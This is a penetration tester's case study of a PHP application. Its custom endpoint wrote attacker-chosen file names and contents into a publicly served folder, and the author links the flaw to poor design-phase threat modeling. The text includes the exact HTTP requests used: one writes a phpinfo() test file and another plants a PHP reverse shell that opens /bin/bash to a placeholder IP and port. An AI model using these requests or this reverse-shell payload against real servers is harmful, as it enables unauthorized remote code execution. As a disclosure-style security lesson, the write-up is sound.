Intro

Every application's journey from conception to release involves critical steps within the Software Security Development Life Cycle (SSDLC). Paramount among these is the Design Phase, where the application's architecture is conceptualized. This step is fundamental in determining the coding approach and necessitates careful consideration, especially from a security standpoint. Key aspects like data processing and storage need thorough examination. Overlooking thorough threat analysis at this stage can lead to such serious vulnerabilities that the only practical solution might be to completely rewrite the application. This is precisely what happened in one of my penetration tests.

How did this happen?

The application I tested was a standard CRUD system, straightforward and not requiring complex client documentation.

However, a specific functionality raised a red flag due to its unusual POST request body. This was followed by another request that fetched data in plaintext, intended for data reloading.

The structure of the POST request body was intriguing:

[filename]#[filecontent]

This was followed by a GET request to reload data:

GET /resource/[filename]

This setup was puzzling, especially in a standard database-using application (as indicated by the CMS used). The reliance on text file processing over a database in 2023 seemed old-fashioned and potentially risky.

Due to the above architecture solution, it was easy to miss the vulnerability.

Exploitation

My objective was clear: to achieve Remote Code Execution (RCE). The approach involved below to check two important factors:

A) Can I write the PHP file with custom name?
B) Does the PHP code evaluate in the current /resource folder.

POST /resource/vulnerable_functionality.php HTTP/2
Host: vulnerable.host
[…]

------WebKitFormBoundary1337
Content-Disposition: form-data; name="data"

mysuperfilesecurity.php#<?php phpinfo(); ?>
------WebKitFormBoundary1337

Then I went to:

GET /resource/mysuperfilesecurity.php
Host: vulnerable.host
[…]

And what I can say - bingo! The beautiful evaluation of phpinfo() function before my eyes. I quickly checked the disabled_functions variable to know what functions are blocked to perform system commands. Only few of them, so the bypassing process was brief.

Checking the PHP file execution:

POST /vulnerable_functionality.php HTTP/2
Host: vulnerable.host

------WebKitFormBoundary1337
Content-Disposition: form-data; name="data"

mysuperfilesecurity.php#<?php $sock=fsockopen("IP",PORT);$proc=proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
------WebKitFormBoundary1337

Connection Between Architecture and Vulnerability

The Connection Between Architecture and Vulnerability:

The unusual architecture of the application, particularly its reliance on text file processing over a more secure database system, was a critical factor leading to the vulnerability. This approach, while perhaps simpler from a development standpoint, bypassed many of the security safeguards inherently present in modern database management systems. By allowing data manipulation through basic POST requests and storing sensitive information in easily accessible text files, the application exposed itself to significant risks, including unauthorized data access and code execution.

Extra

The custom functionalities, not supported by the CMS engine and used as Proof of Concept (PoC), were basic PHP scripts. They processed POST requests by splitting the body using '#' as a separator, and then creating or rewriting files based on the extracted data.

Simple, yet highly vulnerable.

If you were wondering whether access to text files or mentioned PHPs were protected. Well, they were publicly available for everyone.

Summary

The case study highlights a glaring oversight during the design phase - a lack of thorough architecture review and threat modeling. This oversight resulted in a vulnerable application, underscoring the need for rigorous security measures right from the start of the development process.


#Cybersecurity #ApplicationArchitecture #SoftwareDevelopment #InfoSec #TechInsights